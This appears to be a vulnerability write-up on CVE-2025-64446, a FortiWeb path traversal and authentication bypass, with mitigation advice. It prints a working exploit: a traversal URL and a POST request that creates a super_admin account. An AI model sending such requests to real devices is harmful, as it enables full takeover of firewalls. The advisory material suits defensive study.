---

📌 Overview

CVE-2025-64446 is a severe relative path traversal vulnerability in the FortiWeb Web Application Firewall management interface.

An unauthenticated remote attacker can exploit this flaw to bypass authentication and create new administrator users with full privileges, leading to complete compromise of the device.

• CVSS v3.1 Score: 9.8 (Critical)
• Attack Type: Unauthenticated Remote
• Impact: Full administrative takeover
• Status: Actively exploited in the wild

---

🛠️ Affected Versions

Recommendation: Update to the latest patched version as soon as possible.

---

🔥 How Attackers Exploit This Vulnerability

Step-by-Step Exploitation

1. Target Identification
   The attacker scans for publicly exposed FortiWeb management interfaces (usually on HTTPS port 443 or 8443).

2. Crafting the Malicious Request
   The core of the exploit is a relative path traversal (../) combined with a specially crafted URL that reaches an internal unauthenticated CGI endpoint.

   Vulnerable Endpoint Pattern:

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. Sending the Exploit

   The attacker sends a single POST request with JSON payload to create a new administrator account.

   Example Exploit Request:

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiw eb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. Successful Exploitation

   If successful, FortiWeb creates the new admin account without requiring any prior authentication. The attacker can then log in with the newly created credentials and gain full control of the WAF.

Why It Works

The management API fails to properly sanitize the path, allowing the request to traverse back to the legacy fwbcgi binary, which does not enforce authentication on certain operations.

---

📸 Screenshots

---

🛡️ Mitigation & Best Practices

• Immediately upgrade FortiWeb to a fixed version
• Never expose the management interface directly to the internet
• Use strong network segmentation and VPN for administrative access
• Monitor logs for requests containing fwbcgi, ../, or unusual admin creation attempts
• Regularly audit administrator accounts for suspicious entries

---